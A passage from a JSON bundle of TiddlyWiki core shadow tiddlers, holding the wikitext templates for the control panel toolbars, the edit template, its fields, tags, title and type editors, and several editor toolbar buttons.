            "text": "\\define config-title()\n$(config-base)$$(currentTiddler)$\n\\end\n\n<$draggable tiddler=<<currentTiddler>>>\n<$checkbox tiddler=<<config-title>> field=\"text\" checked=\"show\" unchecked=\"hide\" default=\"show\"/> <span class=\"tc-icon-wrapper\"> <$transclude field=\"caption\"/> <i class=\"tc-muted\">-- <$transclude field=\"description\"/></i></span>\n</$draggable>\n"
        },
        "$:/core/ui/ControlPanel/Toolbars/PageControls": {
            "title": "$:/core/ui/ControlPanel/Toolbars/PageControls",
            "tags": "$:/tags/ControlPanel/Toolbars",
            "caption": "{{$:/language/ControlPanel/Toolbars/PageControls/Caption}}",
            "text": "\\define lingo-base() $:/language/TiddlerInfo/\n\n\\define config-base() $:/config/PageControlButtons/Visibility/\n\n{{$:/language/ControlPanel/Toolbars/PageControls/Hint}}\n\n<$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n<$macrocall $name=\"list-tagged-draggable\" tag=\"$:/tags/PageControls\" itemTemplate=\"$:/core/ui/ControlPanel/Toolbars/ItemTemplate\"/>\n\n</$set>\n\n</$set>\n"
        },
        "$:/core/ui/ControlPanel/Toolbars/ViewToolbar": {
            "title": "$:/core/ui/ControlPanel/Toolbars/ViewToolbar",
            "tags": "$:/tags/ControlPanel/Toolbars",
            "caption": "{{$:/language/ControlPanel/Toolbars/ViewToolbar/Caption}}",
            "text": "\\define lingo-base() $:/language/TiddlerInfo/\n\n\\define config-base() $:/config/ViewToolbarButtons/Visibility/\n\n{{$:/language/ControlPanel/Toolbars/ViewToolbar/Hint}}\n\n<$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n<$macrocall $name=\"list-tagged-draggable\" tag=\"$:/tags/ViewToolbar\" itemTemplate=\"$:/core/ui/ControlPanel/Toolbars/ItemTemplate\"/>\n\n</$set>\n\n</$set>\n"
        },
        "$:/core/ui/ControlPanel/Toolbars": {
            "title": "$:/core/ui/ControlPanel/Toolbars",
            "tags": "$:/tags/ControlPanel/Appearance",
            "caption": "{{$:/language/ControlPanel/Toolbars/Caption}}",
            "text": "{{$:/language/ControlPanel/Toolbars/Hint}}\n\n<div class=\"tc-control-panel\">\n<<tabs \"[all[shadows+tiddlers]tag[$:/tags/ControlPanel/Toolbars]!has[draft.of]]\" \"$:/core/ui/ControlPanel/Toolbars/ViewToolbar\" \"$:/state/tabs/controlpanel/toolbars\" \"tc-vertical\">>\n</div>\n"
        },
        "$:/ControlPanel": {
            "title": "$:/ControlPanel",
            "icon": "$:/core/images/options-button",
            "color": "#bbb",
            "text": "<div class=\"tc-control-panel\">\n<<tabs \"[all[shadows+tiddlers]tag[$:/tags/ControlPanel]!has[draft.of]]\" \"$:/core/ui/ControlPanel/Info\">>\n</div>\n"
        },
        "$:/core/ui/DefaultSearchResultList": {
            "title": "$:/core/ui/DefaultSearchResultList",
            "tags": "$:/tags/SearchResults",
            "caption": "{{$:/language/Search/DefaultResults/Caption}}",
            "text": "\\define searchResultList()\n//<small>{{$:/language/Search/Matches/Title}}</small>//\n\n<$list filter=\"[!is[system]search:title{$(searchTiddler)$}sort[title]limit[250]]\" template=\"$:/core/ui/ListItemTemplate\"/>\n\n//<small>{{$:/language/Search/Matches/All}}</small>//\n\n<$list filter=\"[!is[system]search{$(searchTiddler)$}sort[title]limit[250]]\" template=\"$:/core/ui/ListItemTemplate\"/>\n\n\\end\n<<searchResultList>>\n"
        },
        "$:/core/ui/EditTemplate/body/preview/diffs-current": {
            "title": "$:/core/ui/EditTemplate/body/preview/diffs-current",
            "tags": "$:/tags/EditPreview",
            "caption": "differences from current",
            "list-after": "$:/core/ui/EditTemplate/body/preview/output",
            "text": "<$list filter=\"[<currentTiddler>!is[image]]\" emptyMessage={{$:/core/ui/EditTemplate/body/preview/output}}>\n\n<$macrocall $name=\"compareTiddlerText\" sourceTiddlerTitle={{!!draft.of}} destTiddlerTitle=<<currentTiddler>>/>\n\n</$list>\n\n"
        },
        "$:/core/ui/EditTemplate/body/preview/diffs-shadow": {
            "title": "$:/core/ui/EditTemplate/body/preview/diffs-shadow",
            "tags": "$:/tags/EditPreview",
            "caption": "differences from shadow (if any)",
            "list-after": "$:/core/ui/EditTemplate/body/preview/output",
            "text": "<$list filter=\"[<currentTiddler>!is[image]]\" emptyMessage={{$:/core/ui/EditTemplate/body/preview/output}}>\n\n<$macrocall $name=\"compareTiddlerText\" sourceTiddlerTitle={{{ [{!!draft.of}shadowsource[]] }}} sourceSubTiddlerTitle={{!!draft.of}} destTiddlerTitle=<<currentTiddler>>/>\n\n</$list>\n\n"
        },
        "$:/core/ui/EditTemplate/body/preview/output": {
            "title": "$:/core/ui/EditTemplate/body/preview/output",
            "tags": "$:/tags/EditPreview",
            "caption": "{{$:/language/EditTemplate/Body/Preview/Type/Output}}",
            "text": "<$set name=\"tv-tiddler-preview\" value=\"yes\">\n\n<$transclude />\n\n</$set>\n"
        },
        "$:/state/showeditpreview": {
            "title": "$:/state/showeditpreview",
            "text": "no"
        },
        "$:/core/ui/EditTemplate/body/editor": {
            "title": "$:/core/ui/EditTemplate/body/editor",
            "text": "<$edit\n\n  field=\"text\"\n  class=\"tc-edit-texteditor\"\n  placeholder={{$:/language/EditTemplate/Body/Placeholder}}\n\n><$set\n\n  name=\"targetTiddler\"\n  value=<<currentTiddler>>\n\n><$list\n\n  filter=\"[all[shadows+tiddlers]tag[$:/tags/EditorToolbar]!has[draft.of]]\"\n\n><$reveal\n\n  type=\"nomatch\"\n  state=<<config-visibility-title>>\n  text=\"hide\"\n  class=\"tc-text-editor-toolbar-item-wrapper\"\n\n><$transclude\n\n  tiddler=\"$:/core/ui/EditTemplate/body/toolbar/button\"\n  mode=\"inline\"\n\n/></$reveal></$list></$set></$edit>\n"
        },
        "$:/core/ui/EditTemplate/body/toolbar/button": {
            "title": "$:/core/ui/EditTemplate/body/toolbar/button",
            "text": "\\define toolbar-button-icon()\n<$list\n\n  filter=\"[all[current]!has[custom-icon]]\"\n  variable=\"no-custom-icon\"\n\n><$transclude\n\n  tiddler={{!!icon}}\n\n/></$list>\n\\end\n\n\\define toolbar-button-tooltip()\n{{!!description}}<$macrocall $name=\"displayshortcuts\" $output=\"text/plain\" shortcuts={{!!shortcuts}} prefix=\"` - [\" separator=\"] [\" suffix=\"]`\"/>\n\\end\n\n\\define toolbar-button()\n<$list\n\n  filter={{!!condition}}\n  variable=\"list-condition\"\n\n><$wikify\n\n  name=\"tooltip-text\"\n  text=<<toolbar-button-tooltip>>\n  mode=\"inline\"\n  output=\"text\"\n\n><$list\n\n  filter=\"[all[current]!has[dropdown]]\"\n  variable=\"no-dropdown\"\n\n><$button\n\n  class=\"tc-btn-invisible $(buttonClasses)$\"\n  tooltip=<<tooltip-text>>\n  actions={{!!actions}}\n\n><span\n\n  data-tw-keyboard-shortcut={{!!shortcuts}}\n\n/><<toolbar-button-icon>><$transclude\n\n  tiddler=<<currentTiddler>>\n  field=\"text\"\n\n/></$button></$list><$list\n\n  filter=\"[all[current]has[dropdown]]\"\n  variable=\"dropdown\"\n\n><$set\n\n  name=\"dropdown-state\"\n  value=<<qualify \"$:/state/EditorToolbarDropdown\">>\n\n><$button\n\n  popup=<<dropdown-state>>\n  class=\"tc-popup-keep tc-btn-invisible $(buttonClasses)$\"\n  selectedClass=\"tc-selected\"\n  tooltip=<<tooltip-text>>\n  actions={{!!actions}}\n\n><span\n\n  data-tw-keyboard-shortcut={{!!shortcuts}}\n\n/><<toolbar-button-icon>><$transclude\n\n  tiddler=<<currentTiddler>>\n  field=\"text\"\n\n/></$button><$reveal\n\n  state=<<dropdown-state>>\n  type=\"popup\"\n  position=\"below\"\n  animate=\"yes\"\n  tag=\"span\"\n\n><div\n\n  class=\"tc-drop-down tc-popup-keep\"\n\n><$transclude\n\n  tiddler={{!!dropdown}}\n  mode=\"block\"\n\n/></div></$reveal></$set></$list></$wikify></$list>\n\\end\n\n\\define toolbar-button-outer()\n<$set\n\n  name=\"buttonClasses\"\n  value={{!!button-classes}}\n\n><<toolbar-button>></$set>\n\\end\n\n<<toolbar-button-outer>>"
        },
        "$:/core/ui/EditTemplate/body": {
            "title": "$:/core/ui/EditTemplate/body",
            "tags": "$:/tags/EditTemplate",
            "text": "\\define lingo-base() $:/language/EditTemplate/Body/\n\\define config-visibility-title()\n$:/config/EditorToolbarButtons/Visibility/$(currentTiddler)$\n\\end\n<$list filter=\"[all[current]has[_canonical_uri]]\">\n\n<div class=\"tc-message-box\">\n\n<<lingo External/Hint>>\n\n<a href={{!!_canonical_uri}}><$text text={{!!_canonical_uri}}/></a>\n\n<$edit-text field=\"_canonical_uri\" class=\"tc-edit-fields\"></$edit-text>\n\n</div>\n\n</$list>\n\n<$list filter=\"[all[current]!has[_canonical_uri]]\">\n\n<$reveal state=\"$:/state/showeditpreview\" type=\"match\" text=\"yes\">\n\n<div class=\"tc-tiddler-preview\">\n\n<$transclude tiddler=\"$:/core/ui/EditTemplate/body/editor\" mode=\"inline\"/>\n\n<div class=\"tc-tiddler-preview-preview\">\n\n<$transclude tiddler={{$:/state/editpreviewtype}} mode=\"inline\">\n\n<$transclude tiddler=\"$:/core/ui/EditTemplate/body/preview/output\" mode=\"inline\"/>\n\n</$transclude>\n\n</div>\n\n</div>\n\n</$reveal>\n\n<$reveal state=\"$:/state/showeditpreview\" type=\"nomatch\" text=\"yes\">\n\n<$transclude tiddler=\"$:/core/ui/EditTemplate/body/editor\" mode=\"inline\"/>\n\n</$reveal>\n\n</$list>\n"
        },
        "$:/core/ui/EditTemplate/controls": {
            "title": "$:/core/ui/EditTemplate/controls",
            "tags": "$:/tags/EditTemplate",
            "text": "\\define config-title()\n$:/config/EditToolbarButtons/Visibility/$(listItem)$\n\\end\n<div class=\"tc-tiddler-title tc-tiddler-edit-title\">\n<$view field=\"title\"/>\n<span class=\"tc-tiddler-controls tc-titlebar\"><$list filter=\"[all[shadows+tiddlers]tag[$:/tags/EditToolbar]!has[draft.of]]\" variable=\"listItem\"><$reveal type=\"nomatch\" state=<<config-title>> text=\"hide\"><$transclude tiddler=<<listItem>>/></$reveal></$list></span>\n<div style=\"clear: both;\"></div>\n</div>\n"
        },
        "$:/core/ui/EditTemplate/fields": {
            "title": "$:/core/ui/EditTemplate/fields",
            "tags": "$:/tags/EditTemplate",
            "text": "\\define lingo-base() $:/language/EditTemplate/\n\\define config-title()\n$:/config/EditTemplateFields/Visibility/$(currentField)$\n\\end\n\n\\define config-filter()\n[[hide]] -[title{$(config-title)$}]\n\\end\n\n\\define new-field()\n<$vars name={{$:/temp/newfieldname}}>\n<$reveal type=\"nomatch\" text=\"\" default=<<name>>>\n<$button>\n<$action-sendmessage $message=\"tm-add-field\"\n$name=<<name>>\n$value={{$:/temp/newfieldvalue}}/>\n<$action-deletetiddler $tiddler=\"$:/temp/newfieldname\"/>\n<$action-deletetiddler $tiddler=\"$:/temp/newfieldvalue\"/>\n<<lingo Fields/Add/Button>>\n</$button>\n</$reveal>\n<$reveal type=\"match\" text=\"\" default=<<name>>>\n<$button>\n<<lingo Fields/Add/Button>>\n</$button>\n</$reveal>\n</$vars>\n\\end\n\n<div class=\"tc-edit-fields\">\n<table class=\"tc-edit-fields\">\n<tbody>\n<$list filter=\"[all[current]fields[]] +[sort[title]]\" variable=\"currentField\">\n<$list filter=<<config-filter>> variable=\"temp\">\n<tr class=\"tc-edit-field\">\n<td class=\"tc-edit-field-name\">\n<$text text=<<currentField>>/>:</td>\n<td class=\"tc-edit-field-value\">\n<$edit-text tiddler=<<currentTiddler>> field=<<currentField>> placeholder={{$:/language/EditTemplate/Fields/Add/Value/Placeholder}}/>\n</td>\n<td class=\"tc-edit-field-remove\">\n<$button class=\"tc-btn-invisible\" tooltip={{$:/language/EditTemplate/Field/Remove/Hint}} aria-label={{$:/language/EditTemplate/Field/Remove/Caption}}>\n<$action-deletefield $field=<<currentField>>/>\n{{$:/core/images/delete-button}}\n</$button>\n</td>\n</tr>\n</$list>\n</$list>\n</tbody>\n</table>\n</div>\n\n<$fieldmangler>\n<div class=\"tc-edit-field-add\">\n<em class=\"tc-edit\">\n<<lingo Fields/Add/Prompt>>\n</em>\n<span class=\"tc-edit-field-add-name\">\n<$edit-text tiddler=\"$:/temp/newfieldname\" tag=\"input\" default=\"\" placeholder={{$:/language/EditTemplate/Fields/Add/Name/Placeholder}} focusPopup=<<qualify \"$:/state/popup/field-dropdown\">> class=\"tc-edit-texteditor tc-popup-handle\"/>\n</span>\n<$button popup=<<qualify \"$:/state/popup/field-dropdown\">> class=\"tc-btn-invisible tc-btn-dropdown\" tooltip={{$:/language/EditTemplate/Field/Dropdown/Hint}} aria-label={{$:/language/EditTemplate/Field/Dropdown/Caption}}>{{$:/core/images/down-arrow}}</$button>\n<$reveal state=<<qualify \"$:/state/popup/field-dropdown\">> type=\"nomatch\" text=\"\" default=\"\">\n<div class=\"tc-block-dropdown tc-edit-type-dropdown\">\n<$set name=\"tv-show-missing-links\" value=\"yes\">\n<$linkcatcher to=\"$:/temp/newfieldname\">\n<div class=\"tc-dropdown-item\">\n<<lingo Fields/Add/Dropdown/User>>\n</div>\n<$list filter=\"[!is[shadow]!is[system]fields[]search:title{$:/temp/newfieldname}sort[]] -created -creator -draft.of -draft.title -modified -modifier -tags -text -title -type\"  variable=\"currentField\">\n<$link to=<<currentField>>>\n<<currentField>>\n</$link>\n</$list>\n<div class=\"tc-dropdown-item\">\n<<lingo Fields/Add/Dropdown/System>>\n</div>\n<$list filter=\"[fields[]search:title{$:/temp/newfieldname}sort[]] -[!is[shadow]!is[system]fields[]]\" variable=\"currentField\">\n<$link to=<<currentField>>>\n<<currentField>>\n</$link>\n</$list>\n</$linkcatcher>\n</$set>\n</div>\n</$reveal>\n<span class=\"tc-edit-field-add-value\">\n<$edit-text tiddler=\"$:/temp/newfieldvalue\" tag=\"input\" default=\"\" placeholder={{$:/language/EditTemplate/Fields/Add/Value/Placeholder}} class=\"tc-edit-texteditor\"/>\n</span>\n<span class=\"tc-edit-field-add-button\">\n<$macrocall $name=\"new-field\"/>\n</span>\n</div>\n</$fieldmangler>\n"
        },
        "$:/core/ui/EditTemplate/shadow": {
            "title": "$:/core/ui/EditTemplate/shadow",
            "tags": "$:/tags/EditTemplate",
            "text": "\\define lingo-base() $:/language/EditTemplate/Shadow/\n\\define pluginLinkBody()\n<$link to=\"\"\"$(pluginTitle)$\"\"\">\n<$text text=\"\"\"$(pluginTitle)$\"\"\"/>\n</$link>\n\\end\n<$list filter=\"[all[current]get[draft.of]is[shadow]!is[tiddler]]\">\n\n<$list filter=\"[all[current]shadowsource[]]\" variable=\"pluginTitle\">\n\n<$set name=\"pluginLink\" value=<<pluginLinkBody>>>\n<div class=\"tc-message-box\">\n\n<<lingo Warning>>\n\n</div>\n</$set>\n</$list>\n\n</$list>\n\n<$list filter=\"[all[current]get[draft.of]is[shadow]is[tiddler]]\">\n\n<$list filter=\"[all[current]shadowsource[]]\" variable=\"pluginTitle\">\n\n<$set name=\"pluginLink\" value=<<pluginLinkBody>>>\n<div class=\"tc-message-box\">\n\n<<lingo OverriddenWarning>>\n\n</div>\n</$set>\n</$list>\n\n</$list>"
        },
        "$:/core/ui/EditTemplate/tags": {
            "title": "$:/core/ui/EditTemplate/tags",
            "tags": "$:/tags/EditTemplate",
            "text": "\\whitespace trim\n\n\\define lingo-base() $:/language/EditTemplate/\n\n\\define tag-styles()\nbackground-color:$(backgroundColor)$;\nfill:$(foregroundColor)$;\ncolor:$(foregroundColor)$;\n\\end\n\n\\define tag-body-inner(colour,fallbackTarget,colourA,colourB,icon)\n\\whitespace trim\n<$vars foregroundColor=<<contrastcolour target:\"\"\"$colour$\"\"\" fallbackTarget:\"\"\"$fallbackTarget$\"\"\" colourA:\"\"\"$colourA$\"\"\" colourB:\"\"\"$colourB$\"\"\">> backgroundColor=\"\"\"$colour$\"\"\">\n<span style=<<tag-styles>> class=\"tc-tag-label tc-tag-list-item\">\n<$transclude tiddler=\"\"\"$icon$\"\"\"/>&nbsp;<$view field=\"title\" format=\"text\" />\n<$button message=\"tm-remove-tag\" param={{!!title}} class=\"tc-btn-invisible tc-remove-tag-button\">&times;</$button>\n</span>\n</$vars>\n\\end\n\n\\define tag-body(colour,palette,icon)\n<$macrocall $name=\"tag-body-inner\" colour=\"\"\"$colour$\"\"\" fallbackTarget={{$palette$##tag-background}} colourA={{$palette$##foreground}} colourB={{$palette$##background}} icon=\"\"\"$icon$\"\"\"/>\n\\end\n\n\\define tag-picker-actions()\n<$action-listops\n\t$tiddler=<<currentTiddler>>\n\t$field=\"tags\"\n\t$subfilter=\"[<tag>] [all[current]tags[]]\"\n/>\n\\end\n\n<div class=\"tc-edit-tags\">\n<$fieldmangler>\n<$list filter=\"[all[current]tags[]sort[title]]\" storyview=\"pop\">\n<$macrocall $name=\"tag-body\" colour={{!!color}} palette={{$:/palette}} icon={{!!icon}}/>\n</$list>\n</$fieldmangler>\n<$macrocall $name=\"tag-picker\" actions=<<tag-picker-actions>>/>\n</div>\n"
        },
        "$:/core/ui/EditTemplate/title": {
            "title": "$:/core/ui/EditTemplate/title",
            "tags": "$:/tags/EditTemplate",
            "text": "<$edit-text field=\"draft.title\" class=\"tc-titlebar tc-edit-texteditor\" focus=\"true\"/>\n\n<$vars pattern=\"\"\"[\\|\\[\\]{}]\"\"\" bad-chars=\"\"\"`| [ ] { }`\"\"\">\n\n<$list filter=\"[all[current]regexp:draft.title<pattern>]\" variable=\"listItem\">\n\n<div class=\"tc-message-box\">\n\n{{$:/core/images/warning}} {{$:/language/EditTemplate/Title/BadCharacterWarning}}\n\n</div>\n\n</$list>\n\n</$vars>\n\n<$reveal state=\"!!draft.title\" type=\"nomatch\" text={{!!draft.of}} tag=\"div\">\n\n<$list filter=\"[{!!draft.title}!is[missing]]\" variable=\"listItem\">\n\n<div class=\"tc-message-box\">\n\n{{$:/core/images/warning}} {{$:/language/EditTemplate/Title/Exists/Prompt}}\n\n</div>\n\n</$list>\n\n<$list filter=\"[{!!draft.of}!is[missing]]\" variable=\"listItem\">\n\n<$vars fromTitle={{!!draft.of}} toTitle={{!!draft.title}}>\n\n<$checkbox tiddler=\"$:/config/RelinkOnRename\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"no\"> {{$:/language/EditTemplate/Title/Relink/Prompt}}</$checkbox>\n\n<$vars stateTiddler=<<qualify \"$:/state/edit/references\">> >\n\n<$reveal type=\"nomatch\" state=<<stateTiddler>> text=\"show\">\n<$button set=<<stateTiddler>> setTo=\"show\" class=\"tc-btn-invisible\">{{$:/core/images/right-arrow}} \n<<lingo EditTemplate/Title/References/Prompt>></$button>\n</$reveal>\n<$reveal type=\"match\" state=<<stateTiddler>> text=\"show\">\n<$button set=<<stateTiddler>> setTo=\"hide\" class=\"tc-btn-invisible\">{{$:/core/images/down-arrow}} \n<<lingo EditTemplate/Title/References/Prompt>></$button>\n</$reveal>\n\n<$reveal type=\"match\" state=<<stateTiddler>> text=\"show\">\n<$tiddler tiddler=<<fromTitle>> >\n<$transclude tiddler=\"$:/core/ui/TiddlerInfo/References\"/>\n</$tiddler>\n</$reveal>\n\n</$vars>\n\n</$vars>\n\n</$list>\n\n</$reveal>\n"
        },
        "$:/core/ui/EditTemplate/type": {
            "title": "$:/core/ui/EditTemplate/type",
            "tags": "$:/tags/EditTemplate",
            "text": "\\define lingo-base() $:/language/EditTemplate/\n<div class=\"tc-type-selector\"><$fieldmangler>\n<em class=\"tc-edit\"><<lingo Type/Prompt>></em> <$edit-text field=\"type\" tag=\"input\" default=\"\" placeholder={{$:/language/EditTemplate/Type/Placeholder}} focusPopup=<<qualify \"$:/state/popup/type-dropdown\">> class=\"tc-edit-typeeditor tc-popup-handle\"/> <$button popup=<<qualify \"$:/state/popup/type-dropdown\">> class=\"tc-btn-invisible tc-btn-dropdown\" tooltip={{$:/language/EditTemplate/Type/Dropdown/Hint}} aria-label={{$:/language/EditTemplate/Type/Dropdown/Caption}}>{{$:/core/images/down-arrow}}</$button> <$button message=\"tm-remove-field\" param=\"type\" class=\"tc-btn-invisible tc-btn-icon\" tooltip={{$:/language/EditTemplate/Type/Delete/Hint}} aria-label={{$:/language/EditTemplate/Type/Delete/Caption}}>{{$:/core/images/delete-button}}</$button>\n</$fieldmangler></div>\n\n<div class=\"tc-block-dropdown-wrapper\">\n<$set name=\"tv-show-missing-links\" value=\"yes\">\n<$reveal state=<<qualify \"$:/state/popup/type-dropdown\">> type=\"nomatch\" text=\"\" default=\"\">\n<div class=\"tc-block-dropdown tc-edit-type-dropdown\">\n<$linkcatcher to=\"!!type\">\n<$list filter='[all[shadows+tiddlers]prefix[$:/language/Docs/Types/]each[group]sort[group-sort]]'>\n<div class=\"tc-dropdown-item\">\n<$text text={{!!group}}/>\n</div>\n<$list filter=\"[all[shadows+tiddlers]prefix[$:/language/Docs/Types/]group{!!group}] +[sort[description]]\"><$link to={{!!name}}><$view field=\"description\"/> (<$view field=\"name\"/>)</$link>\n</$list>\n</$list>\n</$linkcatcher>\n</div>\n</$reveal>\n</$set>\n</div>\n"
        },
        "$:/core/ui/EditTemplate": {
            "title": "$:/core/ui/EditTemplate",
            "text": "\\define actions()\n<$action-sendmessage $message=\"tm-add-tag\" $param={{$:/temp/NewTagName}}/>\n<$action-deletetiddler $tiddler=\"$:/temp/NewTagName\"/>\n<$action-sendmessage $message=\"tm-add-field\" $name={{$:/temp/newfieldname}} $value={{$:/temp/newfieldvalue}}/>\n<$action-deletetiddler $tiddler=\"$:/temp/newfieldname\"/>\n<$action-deletetiddler $tiddler=\"$:/temp/newfieldvalue\"/>\n<$action-sendmessage $message=\"tm-save-tiddler\"/>\n\\end\n\\define frame-classes()\ntc-tiddler-frame tc-tiddler-edit-frame $(missingTiddlerClass)$ $(shadowTiddlerClass)$ $(systemTiddlerClass)$\n\\end\n<div class=<<frame-classes>> data-tiddler-title=<<currentTiddler>>>\n<$fieldmangler>\n<$set name=\"storyTiddler\" value=<<currentTiddler>>>\n<$keyboard key=\"((cancel-edit-tiddler))\" message=\"tm-cancel-tiddler\">\n<$keyboard key=\"((save-tiddler))\" actions=<<actions>>>\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/EditTemplate]!has[draft.of]]\" variable=\"listItem\">\n<$set name=\"tv-config-toolbar-class\" filter=\"[<tv-config-toolbar-class>] [<listItem>encodeuricomponent[]addprefix[tc-btn-]]\">\n<$transclude tiddler=<<listItem>>/>\n</$set>\n</$list>\n</$keyboard>\n</$keyboard>\n</$set>\n</$fieldmangler>\n</div>\n"
        },
        "$:/core/ui/Buttons/cancel": {
            "title": "$:/core/ui/Buttons/cancel",
            "tags": "$:/tags/EditToolbar",
            "caption": "{{$:/core/images/cancel-button}} {{$:/language/Buttons/Cancel/Caption}}",
            "description": "{{$:/language/Buttons/Cancel/Hint}}",
            "text": "<$button message=\"tm-cancel-tiddler\" tooltip={{$:/language/Buttons/Cancel/Hint}} aria-label={{$:/language/Buttons/Cancel/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/cancel-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Cancel/Caption}}/></span>\n</$list>\n</$button>"
        },
        "$:/core/ui/Buttons/delete": {
            "title": "$:/core/ui/Buttons/delete",
            "tags": "$:/tags/EditToolbar $:/tags/ViewToolbar",
            "caption": "{{$:/core/images/delete-button}} {{$:/language/Buttons/Delete/Caption}}",
            "description": "{{$:/language/Buttons/Delete/Hint}}",
            "text": "<$button message=\"tm-delete-tiddler\" tooltip={{$:/language/Buttons/Delete/Hint}} aria-label={{$:/language/Buttons/Delete/Caption}} class=<<tv-config-toolbar-class>>>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/delete-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Delete/Caption}}/></span>\n</$list>\n</$button>"
        },
        "$:/core/ui/Buttons/save": {
            "title": "$:/core/ui/Buttons/save",
            "tags": "$:/tags/EditToolbar",
            "caption": "{{$:/core/images/done-button}} {{$:/language/Buttons/Save/Caption}}",
            "description": "{{$:/language/Buttons/Save/Hint}}",
            "text": "<$fieldmangler><$button tooltip={{$:/language/Buttons/Save/Hint}} aria-label={{$:/language/Buttons/Save/Caption}} class=<<tv-config-toolbar-class>>>\n<$action-sendmessage $message=\"tm-add-tag\" $param={{$:/temp/NewTagName}}/>\n<$action-deletetiddler $tiddler=\"$:/temp/NewTagName\"/>\n<$action-sendmessage $message=\"tm-add-field\" $name={{$:/temp/newfieldname}} $value={{$:/temp/newfieldvalue}}/>\n<$action-deletetiddler $tiddler=\"$:/temp/newfieldname\"/>\n<$action-deletetiddler $tiddler=\"$:/temp/newfieldvalue\"/>\n<$action-sendmessage $message=\"tm-save-tiddler\"/>\n<$list filter=\"[<tv-config-toolbar-icons>prefix[yes]]\">\n{{$:/core/images/done-button}}\n</$list>\n<$list filter=\"[<tv-config-toolbar-text>prefix[yes]]\">\n<span class=\"tc-btn-text\"><$text text={{$:/language/Buttons/Save/Caption}}/></span>\n</$list>\n</$button></$fieldmangler>\n"
        },
        "$:/core/ui/EditorToolbar/bold": {
            "title": "$:/core/ui/EditorToolbar/bold",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/bold",
            "caption": "{{$:/language/Buttons/Bold/Caption}}",
            "description": "{{$:/language/Buttons/Bold/Hint}}",
            "condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
            "shortcuts": "((bold))",
            "text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\"''\"\n\tsuffix=\"''\"\n/>\n"
        },
        "$:/core/ui/EditorToolbar/clear-dropdown": {
            "title": "$:/core/ui/EditorToolbar/clear-dropdown",
            "text": "''{{$:/language/Buttons/Clear/Hint}}''\n\n<div class=\"tc-colour-chooser\">\n\n<$macrocall $name=\"colour-picker\" actions=\"\"\"\n\n<$action-sendmessage\n\t$message=\"tm-edit-bitmap-operation\"\n\t$param=\"clear\"\n\tcolour=<<colour-picker-value>>\n/>\n\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n\n\"\"\"/>\n\n</div>\n"
        },
        "$:/core/ui/EditorToolbar/clear": {
            "title": "$:/core/ui/EditorToolbar/clear",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/erase",
            "caption": "{{$:/language/Buttons/Clear/Caption}}",
            "description": "{{$:/language/Buttons/Clear/Hint}}",
            "condition": "[<targetTiddler>is[image]]",
            "dropdown": "$:/core/ui/EditorToolbar/clear-dropdown",
            "text": ""
        },
        "$:/core/ui/EditorToolbar/editor-height-dropdown": {
            "title": "$:/core/ui/EditorToolbar/editor-height-dropdown",
            "text": "\\define lingo-base() $:/language/Buttons/EditorHeight/\n''<<lingo Hint>>''\n\n<$radio tiddler=\"$:/config/TextEditor/EditorHeight/Mode\" value=\"auto\"> {{$:/core/images/auto-height}} <<lingo Caption/Auto>></$radio>\n\n<$radio tiddler=\"$:/config/TextEditor/EditorHeight/Mode\" value=\"fixed\"> {{$:/core/images/fixed-height}} <<lingo Caption/Fixed>> <$edit-text tag=\"input\" tiddler=\"$:/config/TextEditor/EditorHeight/Height\" default=\"100px\"/></$radio>\n"
        },
        "$:/core/ui/EditorToolbar/editor-height": {
            "title": "$:/core/ui/EditorToolbar/editor-height",
            "tags": "$:/tags/EditorToolbar",
            "icon": "$:/core/images/fixed-height",
            "custom-icon": "yes",
            "caption": "{{$:/language/Buttons/EditorHeight/Caption}}",
            "description": "{{$:/language/Buttons/EditorHeight/Hint}}",
            "condition": "[<targetTiddler>type[]] [<targetTiddler>get[type]prefix[text/]] +[first[]]",
            "dropdown": "$:/core/ui/EditorToolbar/editor-height-dropdown",
            "text": "<$reveal tag=\"span\" state=\"$:/config/TextEditor/EditorHeight/Mode\" type=\"match\" text=\"fixed\">\n{{$:/core/images/fixed-height}}\n</$reveal>\n<$reveal tag=\"span\" state=\"$:/config/TextEditor/EditorHeight/Mode\" type=\"match\" text=\"auto\">\n{{$:/core/images/auto-height}}\n</$reveal>\n"
        },
        "$:/core/ui/EditorToolbar/excise-dropdown": {
            "title": "$:/core/ui/EditorToolbar/excise-dropdown",
            "text": "\\define lingo-base() $:/language/Buttons/Excise/\n\n\\define body(config-title)\n''<<lingo Hint>>''\n\n<<lingo Caption/NewTitle>> <$edit-text tag=\"input\" tiddler=\"$config-title$/new-title\" default=\"\" focus=\"true\"/>\n\n<$set name=\"new-title\" value={{$config-title$/new-title}}>\n<$list filter=\"\"\"[<new-title>is[tiddler]]\"\"\">\n<div class=\"tc-error\">\n<<lingo Caption/TiddlerExists>>\n</div>\n</$list>\n</$set>\n\n<$checkbox tiddler=\"\"\"$config-title$/tagnew\"\"\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"false\"> <<lingo Caption/Tag>></$checkbox>\n\n<<lingo Caption/Replace>> <$select tiddler=\"\"\"$config-title$/type\"\"\" default=\"transclude\">\n<option value=\"link\"><<lingo Caption/Replace/Link>></option>\n<option value=\"transclude\"><<lingo Caption/Replace/Transclusion>></option>\n<option value=\"macro\"><<lingo Caption/Replace/Macro>></option>\n</$select>\n\n<$reveal state=\"\"\"$config-title$/type\"\"\" type=\"match\" text=\"macro\">\n<<lingo Caption/MacroName>> <$edit-text tag=\"input\" 